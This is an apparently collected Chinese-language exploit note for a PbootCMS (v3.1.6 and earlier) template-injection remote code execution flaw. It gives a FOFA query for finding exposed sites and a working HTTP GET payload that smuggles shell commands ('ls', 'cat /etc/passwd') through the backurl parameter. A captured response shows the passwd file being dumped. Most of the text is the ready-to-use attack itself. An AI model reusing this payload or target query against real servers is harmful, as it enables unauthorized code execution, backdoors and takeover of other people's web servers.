P7-2Pboot-CMS-RCE

漏洞描述：

PbootCMS v<=3.1.6版本中存在模板注入，攻击者可构造特定的链接利用该漏洞，执行任意代码，写入后门，获取服务器权限，进而控制整个web服务器。

网站图片：

网络测绘：

fofa语法：

FOFA：app="PbootCMS-PHP网站开发管理系统"

漏洞复现：

payload：

```
GET /?member/login/?suanve=}{pboot:if((get_lg/*suanve-*/())/**/(get_backurl/*suanve-*/()))}123321suanve{/pboot:if}&backurl=;ls HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cookie: PbootSystem=qndt58bje3pulluvsp8g2krv4u;lg=system
Accept-Encoding: gzip
Connection: close
```

效果图:


Request
数据包扫描
热加载
构造请求
GET /?member/login/?suanve=}{pboot:if((get_lg/*suanve-*/())/**/(get_backurl/*suanve-*/()))}
123321suanve{/pboot:if}&backurl=;cat /etc/passwd HTTP/1.1
Host :
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like
Gecko) Version/12.0.3 Safari/605.1.15
Cookie: PbootSystem=qndt58bje3pulluvsp8g2krv4u;lg=system
Accept-Encoding: gzip
Connection: close
Responses
https
19434bytes / 158ms
HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Thu, 07 Dec 2023 10:20:0
Content-Type: text/html; chars
Connection: close
X-UA-Compatible: IE=edge,chrom
X-Powered-By: PbootCMS
Expires: Thu, 19 Nov 1981 08:5
Cache-Control: no-store, no-ca
Pragma: no-cache
Content-Length: 19434
root:x:0:0:root:/root:/bin/bas
bin:x:1:1:bin:/bin:/sbin/nolog
daemon:x:2:2:daemon:/sbin:/sbi
adm:x:3:4:adm:/var/adm:/sbin/n
lp:x:4:7:lp:/var/spool/lpd:/sb
sync:x:5:0:sync:/sbin:/bin/syn
shutdown:x:6:0:shutdown:/sbin:
halt:x:7:0:halt:/sbin:/sbin/ha
mail:x:8:12:mail:/var/spool/ma
operator:x:11:0:operator:/root
games:x:12:100:games:/usr/game
ftp:x:14:50:FTP User:/var/ftp:
nobody:x:99:99:Nobody:/:/sbin/
systemd-network:x:192:192:syst
dbus:x:81:81:System message bu